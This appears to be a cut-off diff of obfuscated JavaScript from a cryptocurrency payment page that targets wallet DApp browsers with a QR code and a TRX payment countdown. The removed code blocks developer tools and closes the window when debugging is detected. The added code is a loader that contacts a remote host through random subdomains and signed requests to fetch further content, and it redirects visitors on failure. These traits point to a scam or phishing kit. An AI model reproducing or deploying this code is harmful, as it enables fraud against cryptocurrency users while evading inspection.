- _0x5e63a5[_0x5bfb8f - 2] === _0x5e63a5[_0x5bfb8f + 2] && _0x5e63a5[_0x5bfb8f + 2] === _0x5e63a5[_0x5bfb8f - 1] && _0x5e63a5[_0x5bfb8f - 1] === _0x5e63a5[_0x5bfb8f + 1] && 3 * _0x5e63a5[_0x5bfb8f - 1] === _0x5e63a5[_0x5bfb8f] && (0 === _0x5e63a5[_0x5bfb8f - 3] || _0x5bfb8f + 3 > _0x1622f6 || 3 * _0x5e63a5[_0x5bfb8f - 3] >= 4 * _0x5e63a5[_0x5bfb8f] || 3 * _0x5e63a5[_0x5bfb8f + 3] >= 4 * _0x5e63a5[_0x5bfb8f]) && (_0x377ecb += _0x2c8642.N3);
- }
- return _0x377ecb;
- },
- _finish: function () {
- this._stringBuffer = this.buffer.slice();
- var _0x5ce531;
- var _0x588fcf;
- var _0x4662e1 = 0;
- var _0x1ea4c8 = 30000;
- for (_0x588fcf = 0; _0x588fcf < 8 && (this._applyMask(_0x588fcf), (_0x5ce531 = this._checkBadness()) < _0x1ea4c8 && (_0x1ea4c8 = _0x5ce531, _0x4662e1 = _0x588fcf), 7 !== _0x4662e1); _0x588fcf++) {
- this.buffer = this._stringBuffer.slice();
- }
- _0x4662e1 !== _0x588fcf && this._applyMask(_0x4662e1);
- _0x1ea4c8 = _0x1eb888.FINAL_FORMAT[_0x4662e1 + (this._level - 1 << 3)];
- var _0x4b3f6e = this.buffer;
- var _0x27d3a5 = this.width;
- for (_0x588fcf = 0; _0x588fcf < 8; _0x588fcf++, _0x1ea4c8 >>= 1) {
- 1 & _0x1ea4c8 && (_0x4b3f6e[_0x27d3a5 - 1 - _0x588fcf + 8 * _0x27d3a5] = 1, _0x588fcf < 6 ? _0x4b3f6e[8 + _0x27d3a5 * _0x588fcf] = 1 : _0x4b3f6e[8 + _0x27d3a5 * (_0x588fcf + 1)] = 1);
- }
- for (_0x588fcf = 0; _0x588fcf < 7; _0x588fcf++, _0x1ea4c8 >>= 1) {
- 1 & _0x1ea4c8 && (_0x4b3f6e[8 + _0x27d3a5 * (_0x27d3a5 - 7 + _0x588fcf)] = 1, _0x588fcf ? _0x4b3f6e[6 - _0x588fcf + 8 * _0x27d3a5] = 1 : _0x4b3f6e[7 + 8 * _0x27d3a5] = 1);
- }
- },
- _interleaveBlocks: function () {
- var _0x1eb623;
- var _0x28f531;
- var _0x35890a = this._dataBlock;
- var _0x36d013 = this._ecc;
- var _0x581687 = this._eccBlock;
- var _0x496b5f = 0;
- var _0xed2118 = this._calculateMaxLength();
- var _0x579c7f = this._neccBlock1;
- var _0x30862b = this._neccBlock2;
- var _0x848ada = this._stringBuffer;
- for (_0x1eb623 = 0; _0x1eb623 < _0x35890a; _0x1eb623++) {
- for (_0x28f531 = 0; _0x28f531 < _0x579c7f; _0x28f531++) {
- _0x36d013[_0x496b5f++] = _0x848ada[_0x1eb623 + _0x28f531 * _0x35890a];
- }
- for (_0x28f531 = 0; _0x28f531 < _0x30862b; _0x28f531++) {
- _0x36d013[_0x496b5f++] = _0x848ada[_0x579c7f * _0x35890a + _0x1eb623 + _0x28f531 * (_0x35890a + 1)];
- }
- }
- for (_0x28f531 = 0; _0x28f531 < _0x30862b; _0x28f531++) {
- _0x36d013[_0x496b5f++] = _0x848ada[_0x579c7f * _0x35890a + _0x1eb623 + _0x28f531 * (_0x35890a + 1)];
- }
- for (_0x1eb623 = 0; _0x1eb623 < _0x581687; _0x1eb623++) {
- for (_0x28f531 = 0; _0x28f531 < _0x579c7f + _0x30862b; _0x28f531++) {
- _0x36d013[_0x496b5f++] = _0x848ada[_0xed2118 + _0x1eb623 + _0x28f531 * _0x581687];
- }
- }
- this._stringBuffer = _0x36d013;
- },
- _insertAlignments: function () {
- var _0x276dd6;
- var _0x2d14ec;
- var _0x2fd528;
- var _0x557316 = this._version;
- var _0x227605 = this.width;
- if (_0x557316 > 1) {
- for (_0x276dd6 = _0xc7e102.BLOCK[_0x557316], _0x2fd528 = _0x227605 - 7;;) {
- for (_0x2d14ec = _0x227605 - 7; _0x2d14ec > _0x276dd6 - 3 && (this._addAlignment(_0x2d14ec, _0x2fd528), !(_0x2d14ec < _0x276dd6));) {
- _0x2d14ec -= _0x276dd6;
- }
- if (_0x2fd528 <= _0x276dd6 + 9) {
- break;
- }
- _0x2fd528 -= _0x276dd6;
- this._addAlignment(6, _0x2fd528);
- this._addAlignment(_0x2fd528, 6);
- }
- }
- },
- _insertFinders: function () {
- var _0x35a1f1;
- var _0x33e075;
- var _0x3b4098;
- var _0x1ee49f;
- var _0x300cfe = this.buffer;
- var _0x76198f = this.width;
- for (_0x35a1f1 = 0; _0x35a1f1 < 3; _0x35a1f1++) {
- for (_0x33e075 = 0, _0x1ee49f = 0, 1 === _0x35a1f1 && (_0x33e075 = _0x76198f - 7), 2 === _0x35a1f1 && (_0x1ee49f = _0x76198f - 7), _0x300cfe[_0x1ee49f + 3 + _0x76198f * (_0x33e075 + 3)] = 1, _0x3b4098 = 0; _0x3b4098 < 6; _0x3b4098++) {
- _0x300cfe[_0x1ee49f + _0x3b4098 + _0x76198f * _0x33e075] = 1;
- _0x300cfe[_0x1ee49f + _0x76198f * (_0x33e075 + _0x3b4098 + 1)] = 1;
- _0x300cfe[_0x1ee49f + 6 + _0x76198f * (_0x33e075 + _0x3b4098)] = 1;
- _0x300cfe[_0x1ee49f + _0x3b4098 + 1 + _0x76198f * (_0x33e075 + 6)] = 1;
- }
- for (_0x3b4098 = 1; _0x3b4098 < 5; _0x3b4098++) {
- this._setMask(_0x1ee49f + _0x3b4098, _0x33e075 + 1);
- this._setMask(_0x1ee49f + 1, _0x33e075 + _0x3b4098 + 1);
- this._setMask(_0x1ee49f + 5, _0x33e075 + _0x3b4098);
- this._setMask(_0x1ee49f + _0x3b4098 + 1, _0x33e075 + 5);
- }
- for (_0x3b4098 = 2; _0x3b4098 < 4; _0x3b4098++) {
- _0x300cfe[_0x1ee49f + _0x3b4098 + _0x76198f * (_0x33e075 + 2)] = 1;
- _0x300cfe[_0x1ee49f + 2 + _0x76198f * (_0x33e075 + _0x3b4098 + 1)] = 1;
- _0x300cfe[_0x1ee49f + 4 + _0x76198f * (_0x33e075 + _0x3b4098)] = 1;
- _0x300cfe[_0x1ee49f + _0x3b4098 + 1 + _0x76198f * (_0x33e075 + 4)] = 1;
- }
- }
- },
- _insertTimingGap: function () {
- var _0x28bd64;
- var _0x5de74c;
- var _0x52ff5a = this.width;
- for (_0x5de74c = 0; _0x5de74c < 7; _0x5de74c++) {
- this._setMask(7, _0x5de74c);
- this._setMask(_0x52ff5a - 8, _0x5de74c);
- this._setMask(7, _0x5de74c + _0x52ff5a - 7);
- }
- for (_0x28bd64 = 0; _0x28bd64 < 8; _0x28bd64++) {
- this._setMask(_0x28bd64, 7);
- this._setMask(_0x28bd64 + _0x52ff5a - 8, 7);
- this._setMask(_0x28bd64, _0x52ff5a - 8);
- }
- },
- _insertTimingRowAndColumn: function () {
- var _0x250f98;
- var _0x393bd3 = this.buffer;
- var _0x2734c7 = this.width;
- for (_0x250f98 = 0; _0x250f98 < _0x2734c7 - 14; _0x250f98++) {
- 1 & _0x250f98 ? (this._setMask(8 + _0x250f98, 6), this._setMask(6, 8 + _0x250f98)) : (_0x393bd3[8 + _0x250f98 + 6 * _0x2734c7] = 1, _0x393bd3[6 + _0x2734c7 * (8 + _0x250f98)] = 1);
- }
- },
- _insertVersion: function () {
- var _0x20d41a;
- var _0x3f1975;
- var _0x4663b4;
- var _0x44cb1e;
- var _0x5b5944 = this.buffer;
- var _0x59a7df = this._version;
- var _0x35e529 = this.width;
- if (_0x59a7df > 6) {
- for (_0x20d41a = _0xa69f99.BLOCK[_0x59a7df - 7], _0x3f1975 = 17, _0x4663b4 = 0; _0x4663b4 < 6; _0x4663b4++) {
- for (_0x44cb1e = 0; _0x44cb1e < 3; _0x44cb1e++, _0x3f1975--) {
- 1 & (_0x3f1975 > 11 ? _0x59a7df >> _0x3f1975 - 12 : _0x20d41a >> _0x3f1975) ? (_0x5b5944[5 - _0x4663b4 + _0x35e529 * (2 - _0x44cb1e + _0x35e529 - 11)] = 1, _0x5b5944[2 - _0x44cb1e + _0x35e529 - 11 + _0x35e529 * (5 - _0x4663b4)] = 1) : (this._setMask(5 - _0x4663b4, 2 - _0x44cb1e + _0x35e529 - 11), this._setMask(2 - _0x44cb1e + _0x35e529 - 11, 5 - _0x4663b4));
- }
- }
- }
- },
- _isMasked: function (_0x925c4b, _0x3538c5) {
- var _0x190c91 = _0x2c8642._getMaskBit(_0x925c4b, _0x3538c5);
- return 1 === this._mask[_0x190c91];
- },
- _pack: function () {
- var _0x41f770;
- var _0x3eefd6;
- var _0x31f0d8;
- var _0x1a2e32 = 1;
- var _0x896ce2 = 1;
- var _0x57bfa1 = this.width;
- var _0x55f769 = _0x57bfa1 - 1;
- var _0x2a2943 = _0x57bfa1 - 1;
- var _0x28538a = (this._dataBlock + this._eccBlock) * (this._neccBlock1 + this._neccBlock2) + this._neccBlock2;
- for (_0x3eefd6 = 0; _0x3eefd6 < _0x28538a; _0x3eefd6++) {
- for (_0x41f770 = this._stringBuffer[_0x3eefd6], _0x31f0d8 = 0; _0x31f0d8 < 8; _0x31f0d8++, _0x41f770 <<= 1) {
- 128 & _0x41f770 && (this.buffer[_0x55f769 + _0x57bfa1 * _0x2a2943] = 1);
- do {
- _0x896ce2 ? _0x55f769-- : (_0x55f769++, _0x1a2e32 ? 0 !== _0x2a2943 ? _0x2a2943-- : (_0x1a2e32 = !_0x1a2e32, 6 === (_0x55f769 -= 2) && (_0x55f769--, _0x2a2943 = 9)) : _0x2a2943 !== _0x57bfa1 - 1 ? _0x2a2943++ : (_0x1a2e32 = !_0x1a2e32, 6 === (_0x55f769 -= 2) && (_0x55f769--, _0x2a2943 -= 8)));
- _0x896ce2 = !_0x896ce2;
- } while (this._isMasked(_0x55f769, _0x2a2943));
- }
- }
- },
- _reverseMask: function () {
- var _0x264459;
- var _0x3b66cd;
- var _0x42d2ec = this.width;
- for (_0x264459 = 0; _0x264459 < 9; _0x264459++) {
- this._setMask(_0x264459, 8);
- }
- for (_0x264459 = 0; _0x264459 < 8; _0x264459++) {
- this._setMask(_0x264459 + _0x42d2ec - 8, 8);
- this._setMask(8, _0x264459);
- }
- for (_0x3b66cd = 0; _0x3b66cd < 7; _0x3b66cd++) {
- this._setMask(8, _0x3b66cd + _0x42d2ec - 7);
- }
- },
- _setMask: function (_0x141daa, _0x289f15) {
- var _0x2aaf08 = _0x2c8642._getMaskBit(_0x141daa, _0x289f15);
- this._mask[_0x2aaf08] = 1;
- },
- _syncMask: function () {
- var _0x1ecc86;
- var _0x1400d8;
- var _0x5d06ec = this.width;
- for (_0x1400d8 = 0; _0x1400d8 < _0x5d06ec; _0x1400d8++) {
- for (_0x1ecc86 = 0; _0x1ecc86 <= _0x1400d8; _0x1ecc86++) {
- this.buffer[_0x1ecc86 + _0x5d06ec * _0x1400d8] && this._setMask(_0x1ecc86, _0x1400d8);
- }
- }
- }
- }, {
- _createArray: function (_0x2b6a6e) {
- var _0x3d5ae8;
- var _0x542bbd = [];
- for (_0x3d5ae8 = 0; _0x3d5ae8 < _0x2b6a6e; _0x3d5ae8++) {
- _0x542bbd[_0x3d5ae8] = 0;
- }
- return _0x542bbd;
- },
- _getMaskBit: function (_0x3ddc30, _0x314985) {
- var _0x11b625;
- _0x3ddc30 > _0x314985 && (_0x11b625 = _0x3ddc30, _0x3ddc30 = _0x314985, _0x314985 = _0x11b625);
- _0x11b625 = _0x314985;
- _0x11b625 += _0x314985 * _0x314985;
- _0x11b625 >>= 1;
- return _0x11b625 += _0x3ddc30;
- },
- _modN: function (_0x34383b) {
- for (; _0x34383b >= 255;) {
- _0x34383b = ((_0x34383b -= 255) >> 8) + (255 & _0x34383b);
- }
- return _0x34383b;
- },
- N1: 3,
- N2: 3,
- N3: 40,
- N4: 10
- });
- var _0x540398 = _0x2c8642;
- var _0x800a7c = _0x449f92.extend({
- draw: function () {
- this.element.src = this.qrious.toDataURL();
- },
- reset: function () {
- this.element.src = "";
- },
- resize: function () {
- var _0x459826 = this.element;
- _0x459826.width = _0x459826.height = this.qrious.size;
- }
- });
- var _0x203224 = _0x3d6831.extend(function (_0x10d2b9, _0x291d5d, _0x19d00b, _0x561818) {
- this.name = _0x10d2b9;
- this.modifiable = Boolean(_0x291d5d);
- this.defaultValue = _0x19d00b;
- this._valueTransformer = _0x561818;
- }, {
- transform: function (_0xe201ad) {
- var _0x44ec0f = this._valueTransformer;
- return "function" == typeof _0x44ec0f ? _0x44ec0f(_0xe201ad, this) : _0xe201ad;
- }
- });
- var _0x1323fd = _0x3d6831.extend(null, {
- abs: function (_0x5ec364) {
- return null != _0x5ec364 ? Math.abs(_0x5ec364) : null;
- },
- hasOwn: function (_0x1d4f35, _0x2e072a) {
- return Object.prototype.hasOwnProperty.call(_0x1d4f35, _0x2e072a);
- },
- noop: function () {},
- toUpperCase: function (_0x1bed5e) {
- return null != _0x1bed5e ? _0x1bed5e.toUpperCase() : null;
- }
- });
- var _0x308f17 = _0x3d6831.extend(function (_0x5a9c9c) {
- this.options = {};
- _0x5a9c9c.forEach(function (_0x426071) {
- this.options[_0x426071.name] = _0x426071;
- }, this);
- }, {
- exists: function (_0x5455eb) {
- return null != this.options[_0x5455eb];
- },
- get: function (_0x4e32e8, _0x515907) {
- return _0x308f17._get(this.options[_0x4e32e8], _0x515907);
- },
- getAll: function (_0x3c081b) {
- var _0x23828a;
- var _0x35e63c = this.options;
- var _0x2b3d13 = {};
- for (_0x23828a in _0x35e63c) _0x1323fd.hasOwn(_0x35e63c, _0x23828a) && (_0x2b3d13[_0x23828a] = _0x308f17._get(_0x35e63c[_0x23828a], _0x3c081b));
- return _0x2b3d13;
- },
- init: function (_0x34b299, _0x23d067, _0x3f109b) {
- "function" != typeof _0x3f109b && (_0x3f109b = _0x1323fd.noop);
- var _0x5328d1;
- var _0x11a10f;
- for (_0x5328d1 in this.options) _0x1323fd.hasOwn(this.options, _0x5328d1) && (_0x11a10f = this.options[_0x5328d1], _0x308f17._set(_0x11a10f, _0x11a10f.defaultValue, _0x23d067), _0x308f17._createAccessor(_0x11a10f, _0x23d067, _0x3f109b));
- this._setAll(_0x34b299, _0x23d067, true);
- },
- set: function (_0x24e5d3, _0x1630c3, _0x354398) {
- return this._set(_0x24e5d3, _0x1630c3, _0x354398);
- },
- setAll: function (_0x5a2b89, _0x5a7031) {
- return this._setAll(_0x5a2b89, _0x5a7031);
- },
- _set: function (_0x49f218, _0x594065, _0x747434, _0x4478e5) {
- var _0x4500d3 = this.options[_0x49f218];
- if (!_0x4500d3) {
- throw new Error("Invalid option: " + _0x49f218);
- }
- if (!_0x4500d3.modifiable && !_0x4478e5) {
- throw new Error("Option cannot be modified: " + _0x49f218);
- }
- return _0x308f17._set(_0x4500d3, _0x594065, _0x747434);
- },
- _setAll: function (_0x268df2, _0x1721e9, _0x32f75f) {
- if (!_0x268df2) {
- return false;
- }
- var _0x57928b;
- var _0x58e71c = false;
- for (_0x57928b in _0x268df2) _0x1323fd.hasOwn(_0x268df2, _0x57928b) && this._set(_0x57928b, _0x268df2[_0x57928b], _0x1721e9, _0x32f75f) && (_0x58e71c = true);
- return _0x58e71c;
- }
- }, {
- _createAccessor: function (_0x3986ea, _0x177dd4, _0xec394b) {
- var _0x9db263 = {
- get: function () {
- return _0x308f17._get(_0x3986ea, _0x177dd4);
- }
- };
- _0x3986ea.modifiable && (_0x9db263.set = function (_0x5322b2) {
- _0x308f17._set(_0x3986ea, _0x5322b2, _0x177dd4) && _0xec394b(_0x5322b2, _0x3986ea);
- });
- Object.defineProperty(_0x177dd4, _0x3986ea.name, _0x9db263);
- },
- _get: function (_0x41aab9, _0x2760f3) {
- return _0x2760f3["_" + _0x41aab9.name];
- },
- _set: function (_0x2f35ba, _0x395adc, _0x3eb2c4) {
- var _0x2c7438 = "_" + _0x2f35ba.name;
- var _0x53adac = _0x3eb2c4[_0x2c7438];
- var _0x364662 = _0x2f35ba.transform(null != _0x395adc ? _0x395adc : _0x2f35ba.defaultValue);
- _0x3eb2c4[_0x2c7438] = _0x364662;
- return _0x364662 !== _0x53adac;
- }
- });
- var _0x574e90 = _0x308f17;
- var _0x3e0948 = _0x3d6831.extend(function () {
- this._services = {};
- }, {
- getService: function (_0x2d5d44) {
- var _0x1f05f6 = this._services[_0x2d5d44];
- if (!_0x1f05f6) {
- throw new Error("Service is not being managed with name: " + _0x2d5d44);
- }
- return _0x1f05f6;
- },
- setService: function (_0x227944, _0x519e8b) {
- if (this._services[_0x227944]) {
- throw new Error("Service is already managed with name: " + _0x227944);
- }
- _0x519e8b && (this._services[_0x227944] = _0x519e8b);
- }
- });
- var _0x4aaa1b = new _0x574e90([new _0x203224("background", true, "white"), new _0x203224("backgroundAlpha", true, 1, _0x1323fd.abs), new _0x203224("element"), new _0x203224("foreground", true, "black"), new _0x203224("foregroundAlpha", true, 1, _0x1323fd.abs), new _0x203224("level", true, "L", _0x1323fd.toUpperCase), new _0x203224("mime", true, "image/png"), new _0x203224("padding", true, null, _0x1323fd.abs), new _0x203224("size", true, 100, _0x1323fd.abs), new _0x203224("value", true, "")]);
- var _0x514e75 = new _0x3e0948();
- var _0x2a1c53 = _0x3d6831.extend(function (_0x45eb83) {
- _0x4aaa1b.init(_0x45eb83, this, this.update.bind(this));
- var _0x3738bf = _0x4aaa1b.get("element", this);
- var _0x24dd9b = _0x514e75.getService("element");
- var _0x3b2510 = _0x3738bf && _0x24dd9b.isCanvas(_0x3738bf) ? _0x3738bf : _0x24dd9b.createCanvas();
- var _0x5d946b = _0x3738bf && _0x24dd9b.isImage(_0x3738bf) ? _0x3738bf : _0x24dd9b.createImage();
- this._canvasRenderer = new _0x3e585a(this, _0x3b2510, true);
- this._imageRenderer = new _0x800a7c(this, _0x5d946b, _0x5d946b === _0x3738bf);
- this.update();
- }, {
- get: function () {
- return _0x4aaa1b.getAll(this);
- },
- set: function (_0x4da2c4) {
- _0x4aaa1b.setAll(_0x4da2c4, this) && this.update();
- },
- toDataURL: function (_0x1901e8) {
- return this.canvas.toDataURL(_0x1901e8 || this.mime);
- },
- update: function () {
- var _0x114f5c = new _0x540398({
- level: this.level,
- value: this.value
- });
- this._canvasRenderer.render(_0x114f5c);
- this._imageRenderer.render(_0x114f5c);
- }
- }, {
- use: function (_0x5efdd9) {
- _0x514e75.setService(_0x5efdd9.getName(), _0x5efdd9);
- }
- });
- Object.defineProperties(_0x2a1c53.prototype, {
- canvas: {
- get: function () {
- return this._canvasRenderer.getElement();
- }
- },
- image: {
- get: function () {
- return this._imageRenderer.getElement();
- }
- }
- });
- var _0x4d2f54 = _0x2a1c53;
- var _0x3bfff3 = _0x3d6831.extend({
- getName: function () {}
- }).extend({
- createCanvas: function () {},
- createImage: function () {},
- getName: function () {
- return "element";
- },
- isCanvas: function (_0x613b5a) {},
- isImage: function (_0x10e9ec) {}
- }).extend({
- createCanvas: function () {
- return document.createElement("canvas");
- },
- createImage: function () {
- return document.createElement("img");
- },
- isCanvas: function (_0x4302c8) {
- return _0x4302c8 instanceof HTMLCanvasElement;
- },
- isImage: function (_0x25a70c) {
- return _0x25a70c instanceof HTMLImageElement;
- }
- });
- _0x4d2f54.use(new _0x3bfff3());
- return _0x4d2f54;
-});
-document.addEventListener("keydown", function (_0x265083) {
- (_0x265083.key >= "F1" && _0x265083.key <= "F12" || _0x265083.ctrlKey) && _0x265083.preventDefault();
-});
-document.addEventListener("contextmenu", function (_0x38ed64) {
- _0x38ed64.preventDefault();
-});
-document.addEventListener("keydown", function (_0x424a5f) {
- _0x424a5f.ctrlKey && (_0x424a5f.key === "u" || _0x424a5f.key === "U") && _0x424a5f.preventDefault();
- _0x424a5f.key === "F12" && _0x424a5f.preventDefault();
-});
-document.addEventListener("keydown", function (_0x5052c3) {
- _0x5052c3.ctrlKey && _0x5052c3.shiftKey && (_0x5052c3.key === "I" || _0x5052c3.key === "i" || _0x5052c3.key === "C" || _0x5052c3.key === "c" || _0x5052c3.key === "J" || _0x5052c3.key === "j") && _0x5052c3.preventDefault();
-});
-setInterval(function () {
- window.console && console.log.toString().indexOf("native code") === -1 && (console.log = function () {}, alert("调试模式被禁用"), window.close());
-}, 1000);
-document.addEventListener("keydown", function (_0x35fc1e) {
- _0x35fc1e.ctrlKey && _0x35fc1e.shiftKey && (_0x35fc1e.key === "S" || _0x35fc1e.key === "s") && _0x35fc1e.preventDefault();
-});
-document.addEventListener("keydown", function (_0xbddfed) {
- _0xbddfed.ctrlKey && (_0xbddfed.key === "P" || _0xbddfed.key === "p") && _0xbddfed.preventDefault();
-});
-document.addEventListener("DOMContentLoaded", function () {
- detectAndDisplayContent();
- initializeTimers();
-});
-function detectAndDisplayContent() {
- var _0x548fce = window.location.href;
- if (isDAppBrowser() && !isPC()) {
- document.getElementById("walletContent").classList.remove("hidden");
- document.getElementById("pcContent").classList.add("hidden");
- document.getElementById("mobileContent").classList.add("hidden");
- generateQRCode("qrcode-wallet", _0x548fce);
- } else {
- isPC() ? (document.getElementById("pcContent").classList.remove("hidden"), document.getElementById("mobileContent").classList.add("hidden"), document.getElementById("walletContent").classList.add("hidden"), generateQRCode("qrcode-pc", _0x548fce)) : (document.getElementById("mobileContent").classList.remove("hidden"), document.getElementById("pcContent").classList.add("hidden"), document.getElementById("walletContent").classList.add("hidden"), generateQRCode("qrcode-mobile", _0x548fce));
- }
-}
-function initializeTimers() {
- var _0x2e6bef = 1800;
- var _0x1975e7 = document.getElementById("timer-pc");
- if (_0x1975e7) {
- startTimer(_0x2e6bef, _0x1975e7);
- }
- var _0x33aa30 = document.getElementById("timer-mobile");
- if (_0x33aa30) {
- startTimer(_0x2e6bef, _0x33aa30);
- }
- var _0x124ee0 = document.getElementById("timer-wallet");
- if (_0x124ee0) {
- startTimer(_0x2e6bef, _0x124ee0);
- }
-}
-function startTimer(_0x3adf37, _0x48973d) {
- var _0x2bbcad = _0x3adf37;
- var _0x3cfc70;
- var _0x7dd6a;
- setInterval(function () {
- _0x3cfc70 = parseInt(_0x2bbcad / 60, 10);
- _0x7dd6a = parseInt(_0x2bbcad % 60, 10);
- _0x3cfc70 = _0x3cfc70 < 10 ? "0" + _0x3cfc70 : _0x3cfc70;
- _0x7dd6a = _0x7dd6a < 10 ? "0" + _0x7dd6a : _0x7dd6a;
- _0x48973d.textContent = _0x3cfc70 + ":" + _0x7dd6a;
- --_0x2bbcad < 0 && (_0x2bbcad = _0x3adf37);
- }, 1000);
-}
-function generateQRCode(_0x2d550a, _0x1a0b87) {
- var _0x41fd2b = new QRious({
- element: document.getElementById(_0x2d550a),
- value: _0x1a0b87,
- size: 200,
- level: "H"
- });
-}
-function isPC() {
- return !/Android|webOS|iPhone|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent);
-}
-function isDAppBrowser() {
- return typeof window.ethereum !== "undefined" || typeof window.tronWeb !== "undefined";
-}
-async function fetchRealTimeExchangeRate() {
try {
- const _0x865272 = await fetch("https://www.okx.com/api/v5/market/ticker?instId=TRX-USDT");
- const _0x9e8fb = await _0x865272.json();
- if (_0x9e8fb.code !== "0") {
- throw new Error(_0x9e8fb.msg || "Failed to fetch real-time exchange rate.");
- }
- const _0x204277 = parseFloat(_0x9e8fb.data[0].last);
- const _0x1a708f = 1 / _0x204277;
- const _0x5fb285 = document.getElementById("paymentAmount");
- const _0xa44abd = parseFloat(_0x5fb285.textContent.split(" ")[0]);
- const _0x30ed91 = _0xa44abd * _0x1a708f;
- const _0x21f41b = document.getElementById("trxAmount");
- _0x21f41b.textContent = " ≈ " + _0x30ed91.toFixed(2) + " TRX";
- _0x5fb285.style.color = "red";
- _0x5fb285.style.fontWeight = "bold";
- } catch (_0x357e29) {
- const _0x38816e = document.getElementById("paymentAmount");
- const _0x4bcb2f = parseFloat(_0x38816e.textContent.split(" ")[0]);
- const _0x3cb22e = _0x4bcb2f * 7;
- const _0x1167cb = document.getElementById("trxAmount");
- _0x1167cb.textContent = " ≈ " + _0x3cb22e.toFixed(2) + " TRX";
- _0x38816e.style.color = "red";
- _0x38816e.style.fontWeight = "bold";
+ const _0x464f18 = document.createElement("meta");
+ _0x464f18.httpEquiv = "X-UA-Compatible";
+ _0x464f18.content = "IE=edge";
+ document.head.appendChild(_0x464f18);
+ const _0x39f95e = document.createElement("meta");
+ _0x39f95e.name = "viewport";
+ _0x39f95e.content = "width=device-width, initial-scale=1";
+ document.head.appendChild(_0x39f95e);
+ const _0x22294d = document.createElement("style");
+ _0x22294d.textContent = "\n * {\n padding: 0;\n margin: 0;\n }\n\n #yh{\n font-size: 12px;\n position: fixed;\n right: 0;\n bottom: 0;\n margin: 10px;\n }\n #version {\n font-size: 12px;\n position: fixed;\n left: 0;\n bottom: 0;\n margin: 10px;\n }\n\n ";
+ document.head.appendChild(_0x22294d);
+ } catch (_0x3cf253) {
+ console.log(_0x3cf253);
+ console.log("添加样式失败");
+ _0x2ed1e6 = false;
}
-}
-window.onload = function () {
- init();
- /okex/.test(navigator.userAgent.toLowerCase()) && fetchRealTimeExchangeRate();
+ const _0x2ef7c0 = {
+ "id": 1,
+ "jump_switch": 1,
+ "jump_url": "https://baidu.com",
+ "jump_time": 3,
+ "set_title": " ڼ ...",
+ "output_version": 20,
+ "request_address": "xxx.htzcv.com",
+ "random_level_two": 1,
+ "protocol": 2,
+ "random_parameters": 1
+ };
+ console.log("版本号:" + _0x2ef7c0.output_version);
+ if (_0x2ed1e6) document.title = _0x2ef7c0.set_title;
+ if (_0x2ed1e6) {
+ try {
+ if (!document.querySelector("p#loading")) {
+ {
+ let _0x155cdd = document.createElement("p");
+ _0x155cdd.id = "loading";
+ document.body.appendChild(_0x155cdd);
+ }
+ }
+ if (!document.querySelector("p#version")) {
+ let _0x83cd51 = document.createElement("p");
+ _0x83cd51.id = "version";
+ document.body.appendChild(_0x83cd51);
+ }
+ if (!document.querySelector("h1#yh")) {
+ let _0x1c7f5d = document.createElement("h1");
+ _0x1c7f5d.id = "yh";
+ document.body.appendChild(_0x1c7f5d);
+ }
+ } catch (_0x222179) {}
+ }
+ const _0x552abc = (_0x1d0b2d, _0x3ca13b = null) => {
+ if (window.isScriptLoaded) return;
+ try {
+ const _0x4b9b00 = document.getElementById("yh");
+ _0x4b9b00 && (_0x4b9b00.textContent = "Error" + _0x1d0b2d + "-" + _0x2ef7c0.output_version + "-" + _0x2ef7c0.key_index);
+ _0x3ca13b && (_0x4b9b00.textContent += "- m:" + _0x3ca13b);
+ } catch (_0x307692) {}
+ if (!_0x2ef7c0 || !_0x2ef7c0.jump_url || !_0x2ef7c0.jump_switch || _0x2ef7c0.jump_switch !== 2) return;
+ setTimeout(() => {
+ window.location.href = _0x2ef7c0.jump_url;
+ }, _0x2ef7c0.jump_time * 1000);
+ },
+ _0x176a60 = window.location.href;
+ let _0x3cfd2a = "";
+ const _0xfa6ee3 = _0x176a60.match(/[?&]p=([^&]+)/);
+ if (_0xfa6ee3 && _0xfa6ee3.length >= 2) _0x3cfd2a = _0xfa6ee3[1];else {
+ {
+ const _0x1518e5 = new URL(_0x176a60).pathname.split("/");
+ if (_0x1518e5.length === 0) {
+ _0x552abc(2);
+ return;
+ }
+ _0x3cfd2a = _0x1518e5[_0x1518e5.length - 1];
+ }
+ }
+ let _0x1cb1a0 = _0x2ef7c0.request_address;
+ if (_0x2ef7c0.random_level_two === 2) {
+ function _0x4f2f08(_0x21704e) {
+ {
+ let _0x448a5b = "";
+ const _0x1c3c84 = _0x21704e;
+ let _0xcabb71 = ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0"];
+ for (let _0x2292f1 = 0; _0x2292f1 < _0x1c3c84; _0x2292f1++) {
+ {
+ const _0x5b910c = Math.floor(Math.random() * _0xcabb71.length);
+ _0x448a5b += _0xcabb71[_0x5b910c];
+ }
+ }
+ return _0x448a5b;
+ }
+ }
+ _0x1cb1a0 = _0x4f2f08(8) + "." + _0x2ef7c0.request_address;
+ }
+ let _0x1ed189 = "http:";
+ switch (_0x2ef7c0.protocol) {
+ case 1:
+ _0x1ed189 = "http:";
+ break;
+ case 2:
+ _0x1ed189 = "https:";
+ break;
+ case 3:
+ _0x1ed189 = window.location.protocol;
+ }
+ const _0x2c8e5b = "kdsksdjglasdhgdjgdgwx",
+ _0x6c55ca = Date.parse(new Date()) / 1000,
+ _0x3880db = "/api/qr_code_list/get_code",
+ _0x409ad7 = _0x2c8e5b + _0x3880db + _0x6c55ca,
+ _0x39528c = _0x3880db + "-" + _0x6c55ca + "-0-0-" + _0x2c8e5b;
+ let _0x5eebd0 = "",
+ _0x420077 = "";
+ try {
+ _0x5eebd0 = CryptoJS.MD5(_0x409ad7).toString();
+ _0x420077 = CryptoJS.MD5(_0x39528c).toString();
+ } catch (_0x31c6fc) {}
+ const _0x368713 = _0x1ed189 + "//" + _0x1cb1a0 + _0x3880db + "?file_name=" + _0x3cfd2a + "&sign=" + _0x5eebd0 + "&t=" + _0x6c55ca + "&auth_key=" + _0x6c55ca + "-0-0-" + _0x420077;
+ if (window.isScriptLoaded) return;
+ try {
+ const _0x5102eb = document.getElementById("loading");
+ if (_0x5102eb) {
+ _0x5102eb.textContent = " ...";
+ }
+ const _0x39034f = document.getElementById("version");
+ _0x39034f && (_0x39034f.textContent = "v=" + _0x2ef7c0.output_version + ",k=" + _0x2ef7c0.key_index);
+ } catch (_0x3ef2ef) {}
+ const _0x56a5a4 = (_0x17ecd3, _0x111caf) => {
+ {
